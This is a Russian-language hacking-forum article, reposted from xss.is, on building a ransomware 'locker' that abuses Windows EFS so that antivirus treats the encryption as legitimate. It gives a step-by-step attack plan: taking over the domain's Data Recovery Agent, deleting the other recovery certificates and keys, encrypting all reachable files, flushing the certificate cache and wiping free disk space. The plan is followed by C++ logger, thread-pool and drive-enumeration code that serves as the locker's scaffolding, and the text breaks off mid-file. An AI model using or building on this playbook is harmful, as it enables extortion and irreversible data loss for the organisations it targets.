Пишем свой "шкафчик" на плюсах. Или еще раз об универсальности принципов построения архитектуры

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
автор: Snow.
источник: xss.is

1 Введение
Навеяло топиком здесь же. Судя по всему народу не дает покоя слава REvil’ов и им подобных ребят. Вот и хотят они много денег, да еще
и быстро. Поэтому раз за разом появляются топики вида «Хочу свой локер, памагите». В основном это «жертвы ЕГЭ». Так не бывает. Для
любой области можно считать верной аксиому «успех профессионала прямо пропорционален квадрату его задницы» (ИМХО:
тот, кто реально хочет написать такую штуку – подобные вопросы не задает, а планомерно увеличивает площадь собственной пятой точки
проводя бессонные ночи за чтением документации, литературы по теории разработки программного обеспечения и в отладчике.)
1.1 С чего все началось
Давным давно, когда деревья были большими, трава зеленой, а небо синим – попалась мне на глаза статья в нашем любимом журнале
«Хакер».
В ней говорилось о том, что некие исследователи смогли реализовать «Шкафчик» на основе EFS – encrypted file system. Причем такой,
что большинство аверов будет молчать и даже пикнуть не посмеет, т.к. сочтет все происходящее легитимными действия.
Исследователи уведомили основных разработчиков аверов и мелкософт. Ниже приведу реакцию различных компаний на данное иссле-
дование:
• Avast: внедрили исправление в антивирус версии 19.8 и выплатили исследователям награду в размере 1000 долларов.
• Avira: сочли, что потенциальный обход защиты зависит от сценария индивидуального использования и вряд ли может считаться
«точкой отказа», достойной внимания.
• Bitdefender: с 10 января исправление задействовано в Bitdefender Antivirus, Bitdefender Total Security и Bitdefender Internet Security
версии 0.14.85. В Bitdefender Free Edition исправление пока доступно только в режиме уведомлений и потребует дальнейшей на-
стройки.
• Check Point: исправление уже доступно в Corporate Endpoint Client E82.30 и в ближайшие дни станет доступно в новом выпуске
Anti-Ransomware Zone Alarm. D7xTech: разработчик уведомлен 5 июля 2019 года, статус неизвестен.
• ESET: в настоящее время компания работает над выпуском обновления и призывает клиентов обратиться к Customer Advisory
2020-0002 для получения дополнительной информации о вариантах смягчения проблемы.
• F-Secure: уже обнаруживает EFS-малварь как W32/Malware!Online и Trojan.TR/Ransom.Gen.
• GridinSoft: имеет только бета-версию продукта, выпущенную в 2016 году. С тех пор она не обновлялась, и дело не дошло до
полноценного релиза. Поэтому решение защищает лишь от тех вымогателей, которые были популярны до 2016 года.
• IObit: исправление доступно в версии 7.2.
• Kaspersky: все продукты компании обновлены и теперь защищают от описанных исследователями атак.
• McAfee: выпустила защиту от эксплоита исследователей в виде Anti-Virus (AV) DAT, доступных как для корпоративных, так и
домашних пользователей. Корпоративные клиенты, использующие MVision EDR, получили специальное правило для обнаружения
подобных атак. С помощью EDR администратор может сканировать свои машины на наличие малвари, а затем заблокировать ее
выполнение или удалить.
• Microsoft: оценили описанную экспертами проблему как умеренную угрозу, которая не соответствует Microsoft Security Servicing
Criteria for Windows. Microsoft, возможно, рассмотрит исправление этой проблемы в будущих продуктах.
• Panda Security: сообщает, что работа продуктов Panda Adaptive Defense основана не на шаблонах, а на классификации всех файлов
и процессов, выполняющихся на машине. Таким образом, любая атака с использованием подозрительных файлов и процессов будет
обнаружена и блокирована.
• Sophos: Sophos Intercept X и все клиенты, использующие данный продукт, получили обновление и защищены.
• Symantec: создали две сигнатуры для обнаружения подобных атак, чтобы смягчить проблему.
• TrendMicro: в настоящее время работает над созданием защиты от таких атак, а пока рекомендует пользователям отключить EFS.
• Webroot: благодарит специалистов SafeBreach Labs и уверяет, что теперь встретит подобные атаки во всеоружии.

«Интересно», подумал я, и перешел к следующей статье, однако идея отложилась в голове. Не то, чтобы я хотел заняться рансомом,
упаси боже. Но мне стало любопытно – действительно ли можно обойти аверы подобным способом? Почему майкрософты и некоторые
вендоры отнеслись к проблеме довольно прохладно.
Спустя некоторое время я начал изучать GPO – групповые политики для Active Directory и наткнулся в ютубе на плейлист , в котором сразу 3 видео были посвящены GPO и EFS. Я это тоже отложил в долгий ящик и успешно забыл.
Ну а поскольку, как известно, дурная голова рукам покоя не дает, то сегодня мы попробуем написать свой шкафчик, но не простой –
так умеют многие, а хитрого, способного работать под носом у аверов.
Статья носит чисто исследовательский характер и предназначена для начинающих разработчиков. Основная цель статьи – показать
возможность применения основных принципов проектирования архитектуры к любому проекту. Просто я тут случайно наткнулся на
исходники HelloKitty и не смог без слез смотреть на это.

1.2 Немного теории
Для начала попробуем разобраться что это за зверь такой – EFS и с чем его едят.
EFS (Encrypting File System) - это шифрованная файловая система являющаяся частью NTFS, позволяющая пользователям хранить
данные на диске в зашифрованном формате. Файл зашифрованный одним пользователем не может быть открыт другими пользователями,
если им не предоставлены соответствующие разрешения. После того как файл был зашифрован, он автоматически остается зашифрованным
в любом месте хранения на диске. Пользователь, имеющий права на открытие файла. работает с ним как обычно, а остальные пользователи
при попытке открыть такой файл, получают сообщение "Отказано в доступе". Шифрованию могут подвергаться любые файлы, в том числе
исполняемые.
Не очень точное определение, но описывающее «для самых маленьких» общую суть. В статье (https://www.ixbt.com/storage/efs.html), не
смотря на то, что она довольно древняя, описано достаточно подробно, я не буду ее дублировать здесь. Приведу лишь основные положения
из нее.

1. для повышения скорости используется симметричное шифрование;
2. ключ шифрования File Encryption Key (FEK) – случайным образом сгенерированный ключ заданной длины;
3. ключи FEK зашифрованы master-ключом, который зашифрован ключом пользователей системы, имеющего доступ к файлу. Закры-
тый ключ пользователя защищается хэшем пароля этого самого пользователя.
4. FEK’и хранятся в специальном атрибуте DDF – data decription field.
5. закрытый ключик, которым можно расшифровать хранится в пользовательском хранилище сертификатов. Его можно оттуда уда-
лить, предварительно экспортируя сертификат в надежное место под паролем;
С шифрованием файлов более-менее разобрались. Теперь надо понять что там за магия с закрытыми ключами.
В этой статье (https://winitpro.ru/index.php/2014/01/20/shifruem-dannye-v-windows-8-s-pomoshhyu-efs/) все максимально подробно рас-
писано и я не буду ее дублировать здесь. Отмечу только, общий алгоритм действий:

1.2.1 Шифрование файла/каталога
1. зашифровать файл с помощью EFS можно через графический интерфейс пользователя;
2. если сертификат EFS не был создан ранее, то он будет сгенерирован и винда предусмотрительно предложит вам его забекапить;
3. поскольку ключики у нас хранятся вместе с сертификатом, то посмотреть их можно в Certifcate Storage, который мы позовем с
помощью набранной в консоли команды certmgr
4. методом пристального всматривания определяем, что можно удалить приватный ключик после успешного удаления сертификата и
берем себе это на заметку;
5. этого в статье нет, но путем проведения эксперимента выясняем, что после удаления сертификата из хранилища и последующей
перезагрузки или завершения сеанса пользователя, зашифрованные файлы нам недоступны. Это мы тоже запомним.

1.2.2 Расшифровка файла
Выполняем те же операции, но в обратном порядке. Импортируем сертификат, затем через гуй расшифровываем.

1.2.3 Доверяй, но проверяй
Проведем небольшой эксперимент. В чистой системе, где точно не использовалось ранее шифрование с помощью EFS попробуем за-
шифровать ручками один файл. Повторим действия описанные в статье, но с небольшой поправкой. Для начала мы откроем cert store и
будем за ним внимательно наблюдать.
Поехали.
1721661786590.png



Теперь зашифруем 1 файл и посмотрим что получилось.

1721661867125.png



1721661899992.png



Отлично. Теперь экспортируем сертификат, а затем удалим его.
Пока текущий сеанс пользователя не завершен – сертификат живет в кэше и файл еще можно открыть. Завершаем сеанс. Авторизуемся
заново. Упс, а файлик уже не открывается.
Отлично. Мы смогли зашифровать файл и сделать так, чтобы его никто не смог больше открыть.
Теперь проделаем обратную операцию. Установим сертификат и попробуем открыть файл. У нас тоже все получилось.

1.3 Предварительные итоги
Итак, у нас есть метод шифрования файлов, который мы протестировали. Есть метод дешифровки. Теперь дело за малым – написать
код.
Однако есть и ложка дегтя.
Рассмотрим такую ситуацию. Условный Джон Смит трудился в корпорации зла. Затем повздорил с кем-то и решил зашифровать все
файлы, до которых доберется через EFS. А потом прихватить с собой сертификат или просто удалить его с глаз долой из сердца вон. А
документы, до которых он добрался – архиважные. Казалось бы, всё. Пиши пропало. Даже если этого редиску и посодют, то компания
понесет огромные убытки. Это не есть хорошо. Поэтому разработчики предусмотрели механизм защиты. Для этого используется так
называемый Data Recovery Agent. Если простыми словами, то это пользователь, наделенный правами восстановления зашифрованных
данных. Как это работает?
Все очень просто. Если в домене есть учетная запись с правами DRA, то FEK шифруется несколькими ключами. Точнее – создается
несколько копий FEK и каждая шифруется своим ключом. Например, у нас есть юзер Джон Смит. Он решил зашифровать файлы.
Следовательно одна копия FEK шифруется его ключом. А еще есть админ Питер Джонсон, у которого помимо прочего роль DRA. Поэтому
создается еще одна копия FEK и шифруется уже его ключом. Следовательно, если даже товарищ Смит, в обиде на весь мир, зашифрует
свои файлы своим ключом и удалит его, то у товарища Джонсона будет возможность восстановить эти файлы. Это проблема для нас, если
мы позиционируем себя как злые и бессердечные рансомщики, но решаемая, причем достаточно просто.
Опуская детали скажу, что достаточно лишь создать отдельного пользователя, назначить ему права Data Recovery Agent’a, удалить
сертификаты, а вместе с ними и приватные ключи, остальных DRA. А после завершения своего черного дела прихватить ключик от нашего
DRA с собой. Звучит просто, не правда ли? Во всяком случае в тестовой лаборатории у меня проблем с этим не возникло. А на живых сетях
я не пробовал и вам не советую. Конечно, я все настраивал через гуй на контроллере домена. В теории достаточно написать простенький
повершелл скрипт, который автоматизирует это все.
Да, чуть не забыл, экспортировать сертификат DRA нужно после того, как отработает последний локальный шифровальщик. Для вос-
становления данных всей сети достаточно установить сертификат DRA на контроллере домена. Ну и потом обновить групповые политики
на всех машинах домена. Сразу после этого все файлы станут доступны. Можно даже не расшифровывать. Все будет работать.
1.3.1 Алгоритм подготовки сети к шифрованию
Попробуем прикинуть что нам понадобится сделать, чтобы все получилось по фэншую.
Поехали.
1. проверить наличие настроенных политик EFS и DRA в домене.
2. Если DRA есть в системе, то удалить его сертификат и сгенерировать новый;
3. Если GPO для EFS не настроены в системе, то выполнить настройку самостоятельно. Как это сделать можно посмотреть тут
4. Сгенерировать сертификат DRA. Система устроена так, что без этого на локальных машинах при попытке зашифровать файл с
помощью EFS будет появляться ошибка, с требованием обратиться к сисадмину.
Теперь, когда танцы с бубном на контроллере домена закончены можно подумать о самом процессе шифрования.
У меня получился примерно следующий алгоритм:
1. обновить групповые политики, чтобы уведомить систему о том, что DRA у нас есть и она может не переживать о безвозвратной
потере данных;
2. проверить наличие EFS сертификата в локальном хранилище пользователя. Если он там есть, то либо аккуратно экспортировать
его и прихватить с собой. а затем удалить. Либо просто удалить. Что я и сделаю, дабы не усложнять задачу.
3. сгенерировать новый сертификат EFS, с помощью которого мы будем злодействовать;
4. экспортировать сертификат – то бишь сохранить наш .pfx файл куда нибудь, а чтобы нам не запутаться кто откуда, дадим ему имя
computer_name.pfx. Да, еще неплохо было бы под пароль это все. Поэтому пароль тоже будем генерировать или сохранять такой,
чтобы его было сложно подобрать в случае, если по каким-то причинам он попадет не в те руки.
5. зашифровать все, до чего сможем дотянуться;
6. удалить сертификат из хранилища;
7. почистить за собой кэш, в котором обязательно сохранится копия сертификата. Для этого разработчики предусмотрительно предо-
ставили нам соответствующие инструменты (cipher.exe /FLUSHCACHE).
8. чтобы жизнь совсем медом не казалась затереть все свободное пространство на диске нулями. Операция ресурсоемкая и длительная.
Поэтому ее запускаем уже после того, как свалим из сети.
Ну вот собственно и все. Да, это гораздо более гемморойно, нежели просто раскидать локер по сети через гпо или чем там нынче
пользуются и запустить его. Но зато все аверы будут курить в сторонке. Ну я на это надеюсь. Во всяком случае Касперский, Софочка,
сентик и аваст у меня в лабе промолчали. Мне не пришлось ломать голову с поиском их панелей и вылавливать админа с целью выявить
их расположение и креды к ним.
Расшифровка будет выполняться в обратном порядке. Установили сертификат. Расшифровали.

2 Реализация.
2.1 Проектирование. Общие наброски.

Итак, как известно, любое здание начинается с чертежей, а любой софт с проектирования архитектуры. Я не устану повторять, что
грамотно спроектированная архитектура имеет архиважное значение. Даже, а точнее – тем более, в таком проекте, как «шкафчик». Тем
более, не совсем обычный. Хотя, если грамотно спроектировать его, то с помощью минимальных изменений, его можно превратить в
«обычный». Чем мы сейчас и займемся – проектированием.
Небольшое дополнение. Писать мы будем на С++, используя стандарт С++ 17. Можно, конечно, использовать чистый Си или «Си с
классами», как это реализовано в большинстве виденных мной паблик исходниках. Но я хочу показать, что на «православных плюсах»
это всё пишется проще, быстрее и понятнее.
Поехали.
2.2 Модули приложения.
Для начала попробуем ответить себе на вопрос: "какие модули необходимы для работы приложения?". Затем пройдемся по каждому
модулю и ответим на вопрос: "а нахрена? Действительно ли он нам нужен?". Если на эти вопросы удалось получить более-менее вменяемый
ответ, то модуль оставляем, иначе вычеркиваем его.
2.2.1 Логи.
Как я уже неоднократно говорил – логи наше все. Отладчик, конечно, никто не отменял. Но грамотно спроектированные логи позволяют
обращаться к нему только в случаях, когда это действительно необходимо. Поэтому нам понадобится логгер, да не простой, а с поддержкой
многопоточности и записью в файл. В условиях «боевого» применения мы их, естественно, отключим. А на стадии разработки нам без
него никак.
Логгер у меня есть свой, написан очень давно, отлажен и протестирован, поэтому возьмем его и пойдем дальше. Код приведен ниже:

Спойлер: Logger
C++: Скопировать в буфер обмена
Код:
#ifndef CONSOLE_LOGGER_HPP
#define CONSOLE_LOGGER_HPP

#include <chrono>
#include <string>
#include <ctime>
#include <Windows.h>
#include "tools/thread_pool/synced_stream.hpp"
#pragma warning(disable : 4996)
namespace tools
{
    using namespace multithreading;
    enum COLORS
    {
        BLACK = 0,
        DARK_BLUE = 1,
        DARK_GREEN = 2,
        LIGHT_BLUE = 3,
        DARK_RED = 4,
        MAGENTA = 5,
        ORANGE = 6,
        LIGHT_GRAY = 7,
        GRAY = 8,
        BLUE = 9,
        GREEN = 10,
        CYAN = 11,
        RED = 12,
        PINK = 13,
        YELLOW = 14,
        WHITE = 15,
    };

    namespace settings
    {
        static COLORS g_flagTimeColor = LIGHT_BLUE;
        static COLORS g_textColor = WHITE;
        static COLORS g_prefixColor = RED;
    }


    class LogType
    {
    public:
        COLORS p_color = settings::g_prefixColor;
        std::string p_prefix;

        LogType(const COLORS prefixColor, const std::string &prefixText)
        {
            p_color = prefixColor;
            p_prefix = prefixText;
        }

        LogType(const std::string &prefixText, const int logFlag)
        {
            p_prefix = prefixText;
        }
    };


    class Logger
    {
       
    private:
        static void setConsoleColor(const uint8_t color)
        {
            static HANDLE handle = GetStdHandle(STD_OUTPUT_HANDLE);
            SetConsoleTextAttribute(handle, static_cast<uint8_t>(BLACK) << 4 | color);
        }


        template<typename T>
        static void log(const LogType &logType, T logText)
        {
            static SyncedStream syncedStream;
            setConsoleColor(static_cast<uint8_t>(settings::g_flagTimeColor));
            const auto time = std::chrono::system_clock::now();
            const std::time_t t = std::chrono::system_clock::to_time_t(time);
            std::string timeString(std::ctime(&t));
            timeString.replace(timeString.end() - 1, timeString.end(), " ");
            syncedStream.print(timeString);
            setConsoleColor(static_cast<uint8_t>(logType.p_color));
            syncedStream.print(logType.p_prefix + " ");
            setConsoleColor(static_cast<uint8_t>(logType.p_color + 1));
            syncedStream.println(logText);
            setConsoleColor(static_cast<uint8_t>(settings::g_textColor));
        }

    public:
        template<typename T>
        static void debug(T message)
        {
            log(LogType(ORANGE, "DEBUG:"), message);
        }

        template<typename T>
        static void information(T message)
        {
            log(LogType(GREEN, "INFORMATION:"), message);
        }

        template<typename T>
        static void warning(T message)
        {
            log(LogType(YELLOW, "WARNING:"), message);
        }

        template<typename T>
        static void error(T message)
        {
            log(LogType(RED, "ERROR:"), message);
        }

        template<typename T>
        static void fatalError(T message)
        {
            log(LogType(DARK_RED, "CRITICAL ERROR:"), message);
        }

    };
}

#endif

2.2.2 Многопоточность
Наш «шкафчик» должен быть быстрым. Поэтому работать будем в несколько потоков. Для этого мы напишем свой собственный пул
потоков, отвечающий нашим требованиям. Попробуем определить свойства, которыми должен обладать идеальный Thread Pool:
• Управление потоками: мы хотим эффективно создавать потоки, управлять ими и завершать их работу.
• Организация очереди задач: ещё нам понадобится механизм постановки в очередь задач, которые должны выполняться потоками
в пуле. Под задачей в данном контексте понимаем метод или функцию, которые мы хотим выполнить.
• Повторное использование потоков: создание и уничтожение потоков – операция затратная, поэтому мы хотим эти затраты
минимизировать а следовательно наш пул должен уметь повторно использовать уже отработавшие потоки.
• Планирование задач: еще нам понадобится разработать хитрый алгоритм планирования, позволяющий определить, какой поток
должен выполнить следующую задачу из очереди. Для этого придуманы целые теории, но здесь мы в них погружаться не будем.
• Потокобезопасность: нескольких потоков должны работать с общими ресурсами без конфликтов или повреждения данных. Dead
lock, race condition и прочие страшные слова.
• Масштабируемость: также мы хотим регулировать количество потоков в пуле в зависимости от рабочей нагрузки или системных
ресурсов.
• Гибкость: Позволяет для каждого потока было хорошо иметь настраивать его приоритет, время ожидания и время простоя.
• Обработка ошибок: тут понятно. Мы хотим чтобы наше приложение продолжало работать не смотря на возникающие ошибки и
эксепшены. Для этого нам надо корректно их обрабатывать.
• Мониторинг и отладка: мы в любой момент времени должны получить информацию о производительности пула, как то: исполь-
зование потоков, длина очереди и время выполнения задачи.
• Управление ресурсами.

Такой пул у меня тоже есть в загашниках, поэтому воспользуемся им. Код приведен ниже:
Спойлер: ThreadPool
C++: Скопировать в буфер обмена
Код:
#ifndef THREAD_POOL_HPP
#define THREAD_POOL_HPP

#include <atomic>
#include <chrono>
#include <condition_variable>
#include <exception>
#include <functional>
#include <future>
#include <iostream>
#include <memory>
#include <mutex>
#include <queue>
#include <thread>
#include <type_traits>
#include <utility>
#include <vector>
namespace tools::multithreading
{
    using ConcurrencyT = std::invoke_result_t<decltype(std::thread::hardware_concurrency)>;


    template<typename T>
    class [[nodiscard]] MultiFuture
    {
    private:
        std::vector<std::future<T>> m_futures;
    public:
        explicit MultiFuture(const size_t numFutures = 0) : m_futures(numFutures)
        {}

        [[nodiscard]] std::conditional_t<std::is_void_v<T>, void, std::vector<T>> get()
        {
            if constexpr (std::is_void_v<T>)
            {
                for (size_t i = 0; i < m_futures.size(); ++i)
                    m_futures[i].get();
                return;
            }
            else
            {
                std::vector<T> results(m_futures.size());
                for (size_t i = 0; i < m_futures.size(); ++i)
                    results[i] = m_futures[i].get();
                return results;
            }
        }

        [[nodiscard]] std::future<T> &operator[](const size_t i)
        {
            return m_futures[i];
        }

        void pushBack(std::future<T> future)
        {
            m_futures.push_back(std::move(future));
        }

        [[nodiscard]] size_t size() const
        {
            return m_futures.size();
        }

        void wait() const
        {
            for (size_t i = 0; i < m_futures.size(); ++i)
                m_futures[i].wait();
        }

    };

    template<typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
    class [[nodiscard]] Blocks
    {
    private:
        size_t m_blockSize = 0;
        T m_firstIndex = 0;
        T m_indexAfterLast = 0;
        size_t m_numBlocks = 0;
        size_t m_totalSize = 0;

    public:

        Blocks(const T1 firstIndex, const T2 indexAfterLast, const size_t numBlocks) : m_firstIndex(static_cast<T>(firstIndex)), m_indexAfterLast(
                static_cast<T>(indexAfterLast)), m_numBlocks(numBlocks)
        {
            if (m_indexAfterLast < m_firstIndex)
                std::swap(m_indexAfterLast, m_firstIndex);
            m_totalSize = static_cast<size_t>(m_indexAfterLast - m_firstIndex);
            m_blockSize = static_cast<size_t>(m_totalSize / m_numBlocks);
            if (m_blockSize == 0)
            {
                m_blockSize = 1;
                m_numBlocks = (m_totalSize > 1) ? m_totalSize : 1;
            }
        }

        [[nodiscard]] T start(const size_t i) const
        {
            return static_cast<T>(i * m_blockSize) + m_firstIndex;
        }

        [[nodiscard]] T end(const size_t i) const
        {
            return (i == m_numBlocks - 1) ? m_indexAfterLast : (static_cast<T>((i + 1) * m_blockSize) + m_firstIndex);
        }

        [[nodiscard]] size_t getNumBlocks() const
        {
            return m_numBlocks;
        }

        [[nodiscard]] size_t getTotalSize() const
        {
            return m_totalSize;
        }

    };

    class [[nodiscard]] ThreadPool
    {
        std::atomic<bool> m_isPaused = false;
        std::atomic<bool> m_running = false;
        std::condition_variable m_taskAvailableCv = {};
        std::condition_variable m_taskDoneCv = {};
        std::queue<std::function<void()>> m_tasks = {};
        std::atomic<size_t> m_tasksTotal = 0;
        mutable std::mutex m_tasksMutex = {};
        ConcurrencyT m_threadCount = 0;
        std::unique_ptr<std::thread[]> m_threads = nullptr;
        std::atomic<bool> m_waiting = false;

    public:

        explicit ThreadPool(const ConcurrencyT threadCount = 0) : m_threadCount(determineThreadCount(threadCount)), m_threads(
                std::make_unique<std::thread[]>(determineThreadCount(threadCount)))
        {
            createThreads();
        }

        ~ThreadPool()
        {
            waitForTasks();
            destroyThreads();
        }


        [[nodiscard]] size_t getTasksQueued() const
        {
            const std::scoped_lock tasksLock(m_tasksMutex);
            return m_tasks.size();
        }


        [[nodiscard]] size_t getTasksRunning() const
        {
            const std::scoped_lock tasks_lock(m_tasksMutex);
            return m_tasksTotal - m_tasks.size();
        }


        [[nodiscard]] size_t getTasksTotal() const
        {
            return m_tasksTotal;
        }


        [[nodiscard]] ConcurrencyT getThreadCount() const
        {
            return m_threadCount;
        }


        [[nodiscard]] bool isPaused() const
        {
            return m_isPaused;
        }


        template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
        [[nodiscard]] MultiFuture<R> parallelizeLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
            if (blocks.getTotalSize() > 0)
            {
                MultiFuture<R> mf(blocks.getNumBlocks());
                for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
                {
                    mf[i] = submit(std::forward<F>(loop), blocks.start(i), blocks.end(i));
                }
                return mf;
            } else
            {
                return MultiFuture<R>();
            }
        }


        template<typename F, typename T, typename R = std::invoke_result_t<std::decay_t<F>, T, T>>
        [[nodiscard]] MultiFuture<R> parallelizeLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            return parallelizeLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
        }


        void pause()
        {
            m_isPaused = true;
        }


        template<typename F, typename T1, typename T2, typename T = std::common_type_t<T1, T2>>
        void pushLoop(const T1 firstIndex, const T2 indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            Blocks blocks(firstIndex, indexAfterLast, numBlocks ? numBlocks : m_threadCount);
            if (blocks.getTotalSize() > 0)
            {
                for (size_t i = 0; i < blocks.getNumBlocks(); ++i)
                    pushTask(std::forward<F>(loop), blocks.start(i), blocks.end(i));
            }
        }


        template<typename F, typename T>
        void pushLoop(const T indexAfterLast, F &&loop, const size_t numBlocks = 0)
        {
            pushLoop(0, indexAfterLast, std::forward<F>(loop), numBlocks);
        }


        template<typename F, typename... A>
        void pushTask(F &&task, A &&... args)
        {
            std::function<void()> task_function = std::bind(std::forward<F>(task), std::forward<A>(args)...);
            {
                const std::scoped_lock tasks_lock(m_tasksMutex);
                m_tasks.push(task_function);
            }
            ++m_tasksTotal;
            m_taskAvailableCv.notify_one();
        }


        void reset(const ConcurrencyT threadCount = 0)
        {
            const bool wasPaused = m_isPaused;
            m_isPaused = true;
            waitForTasks();
            destroyThreads();
            m_threadCount = determineThreadCount(threadCount);
            m_threads = std::make_unique<std::thread[]>(m_threadCount);
            m_isPaused = wasPaused;
            createThreads();
        }


        template<typename F, typename... A, typename R = std::invoke_result_t<std::decay_t<F>, std::decay_t<A>...>>
        [[nodiscard]] std::future<R> submit(F &&task, A &&... args)
        {
            std::function<R()> taskFunction = std::bind(std::forward<F>(task), std::forward<A>(args)...);
            std::shared_ptr<std::promise<R>> taskPromise = std::make_shared<std::promise<R>>();
            pushTask(
                    [taskFunction, taskPromise] {
                        try
                        {
                            if constexpr (std::is_void_v<R>)
                            {
                                std::invoke(taskFunction);
                                taskPromise->set_value();
                            } else
                            {
                                taskPromise->set_value(std::invoke(taskFunction));
                            }
                        }
                        catch (...)
                        {
                            try
                            {
                                taskPromise->set_exception(std::current_exception());
                            }
                            catch (...)
                            {
                            }
                        }
                    });
            return taskPromise->get_future();
        }


        void unpause()
        {
            m_isPaused = false;
        }


        void waitForTasks()
        {
            m_waiting = true;
            std::unique_lock tasks_lock(m_tasksMutex);
            m_taskDoneCv.wait(tasks_lock, [this] { return (m_tasksTotal == (m_isPaused ? m_tasks.size() : 0)); });
            m_waiting = false;
        }

    private:
        void createThreads()
        {
            m_running = true;
            for (ConcurrencyT i = 0; i < m_threadCount; ++i)
            {
                m_threads[i] = std::thread(&ThreadPool::worker, this);
            }
        }


        void destroyThreads()
        {
            m_running = false;
            m_taskAvailableCv.notify_all();
            for (ConcurrencyT i = 0; i < m_threadCount; ++i)
            {
                m_threads[i].join();
            }
        }


        [[nodiscard]] static ConcurrencyT determineThreadCount(const ConcurrencyT threadCount)
        {
            if (threadCount > 0)
                return threadCount;
            else
                return std::thread::hardware_concurrency() > 0 ? std::thread::hardware_concurrency() : 1;
        }


        void worker()
        {
            while (m_running)
            {
                std::function<void()> task;
                std::unique_lock<std::mutex> tasks_lock(m_tasksMutex);
                m_taskAvailableCv.wait(tasks_lock, [this] { return !m_tasks.empty() || !m_running; });
                if (m_running && !m_isPaused)
                {
                    task = std::move(m_tasks.front());
                    m_tasks.pop();
                    tasks_lock.unlock();
                    task();
                    tasks_lock.lock();
                    --m_tasksTotal;
                    if (m_waiting)
                        m_taskDoneCv.notify_one();
                }
            }
        }

    };


    class [[nodiscard]] Timer
    {
    public:
        void start()
        {
            m_startTime = std::chrono::steady_clock::now();
        }

        void stop()
        {
            m_elapsedTime = std::chrono::steady_clock::now() - m_startTime;
        }

        [[nodiscard]] std::chrono::milliseconds::rep ms() const
        {
            return (std::chrono::duration_cast<std::chrono::milliseconds>(m_elapsedTime)).count();
        }
        [[nodiscard]] std::chrono::milliseconds::rep seconds() const
        {
            return (std::chrono::duration_cast<std::chrono::seconds>(m_elapsedTime)).count();
        }

        [[nodiscard]] std::string getTime() const
        {
            auto time = seconds();
            if(time < 10)
            {
                time = ms();
                const auto seconds = time / 1000;
                const auto ms = time % 1000;
                return std::to_string(seconds) + "s : " + std::to_string(ms) + "ms";
            }
            if(time < 60) return std::to_string(time ) + "s";
            if(time < 3600)
            {
                const auto minutes = time / 60;
                const auto seconds = time % 60;
                return std::to_string(minutes) + "m :" + std::to_string(seconds) + "s";
            }
            const auto hours = time / 3600;
            const auto minutes = (time % 3600) / 60;
            const auto seconds = minutes / 60;
            return std::to_string(hours) + "h : " + std::to_string(minutes) + "m" + std::to_string(seconds) + "s";
        }
    private:
        std::chrono::time_point<std::chrono::steady_clock> m_startTime = std::chrono::steady_clock::now();

        std::chrono::duration<double> m_elapsedTime = std::chrono::duration<double>::zero();
    };
}


#endif //THREAD_POOL_HPP

2.2.3 Сбор информации о системе.
Помимо всего прочего нам понадобится собрать информацию о системе. В частности нам просто жизненно необходимо получить данные
о дисках, установленных на машине, включая их объем, наличие свободного места, тип файловой системы. Для этого был разработаны два
класса: DriveInfo и FileSystemHelper. Первый представляет собой контейнер, содержащий информацию о диске. Второй эту информацию
получает и записывает ее в первый. Код приведен ниже

Спойлер: DriveInfo
C++: Скопировать в буфер обмена
Код:
#ifndef DRIVE_INFO_HPP
#define DRIVE_INFO_HPP

#include "tools/defines.hpp"
#include "tools/logging/console_logger.hpp"
#include "tools/string_helper.hpp"
namespace tools::sysinfo
{

    enum class DRIVE_TYPE : int
    {
        DRIVE_UNKNOWN,//  The drive type cannot be determined
        DRIVE_NO_ROOT_DIR,// The root path is invalid; for example, there is no volume mounted at the specified path.
        DRIVE_REMOVABLE,// The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.
        DRIVE_FIXED,// The drive has fixed media; for example, a hard disk drive or flash drive.
        DRIVE_REMOTE,// The drive is a remote (network) drive.
        DRIVE_CDROM,// The drive is a CD-ROM drive.
        DRIVE_RAMDISK// The drive is a RAM disk.
    };

    enum class FILESYSTEM_TYPE : int
    {
        NTFS = 0,
        FAT32 = 1,
        exFAT = 2,
        UNKNOWN = -1
    };


    class DriveInfo;

    using DriveInfoPtr = std::shared_ptr<DriveInfo>;
    using DriveInfoList = std::deque<DriveInfoPtr>;

    class DriveInfo
    {
    private:
        fs::path m_driveLetter;

        DRIVE_TYPE m_driveType = DRIVE_TYPE::DRIVE_UNKNOWN;

        std::wstring m_volumeName;

        std::wstring m_filesystemName;

        FILESYSTEM_TYPE m_filesystemType = FILESYSTEM_TYPE::UNKNOWN;

        ULONGLONG m_availableDiskSpace = 0;

        ULONGLONG m_totalDiskSpace = 0;

        ULONGLONG m_usedDiskSpace = 0;

        static constexpr auto m_gbDivider = 1024 * 1024 * 1024;
    public:
        void printDriveInfo()
        {
            Logger::information("\tInformation about a drive " + m_driveLetter.string() + "\n" +
                                "A drive type:\t\t\t\t" + getStringDriveType() + "\n" +
                                "A filesystem on the current drive:\t" + StringHelper::wideStringToString(m_filesystemName) + "\n" +
                                "Total space (GB):\t\t\t" + std::to_string(m_totalDiskSpace / m_gbDivider) + "\n" +
                                "Used space (GB):\t\t\t" + std::to_string(m_usedDiskSpace / m_gbDivider) + "\n" +
                                "Available space (GB):\t\t\t" + std::to_string(m_availableDiskSpace / m_gbDivider) + "\n");

        }

        std::string getDriveTypeDescription()
        {
            switch (m_driveType)
            {
                case DRIVE_TYPE::DRIVE_UNKNOWN:
                    return "The drive type cannot be determined";
                case DRIVE_TYPE::DRIVE_NO_ROOT_DIR:
                    return "The root path is invalid; for example, there is no volume mounted at the specified path.";
                case DRIVE_TYPE::DRIVE_REMOVABLE:
                    return "The drive has removable media; for example, a floppy drive, thumb drive, or flash card reader.";
                case DRIVE_TYPE::DRIVE_FIXED:
                    return "The drive has fixed media; for example, a hard disk drive or flash drive.";
                case DRIVE_TYPE::DRIVE_REMOTE:
                    return "The drive is a remote (network) drive.";
                case DRIVE_TYPE::DRIVE_CDROM:
                    return "The drive is a CD-ROM drive.";
                case DRIVE_TYPE::DRIVE_RAMDISK:
                    return "The drive is a RAM disk.";

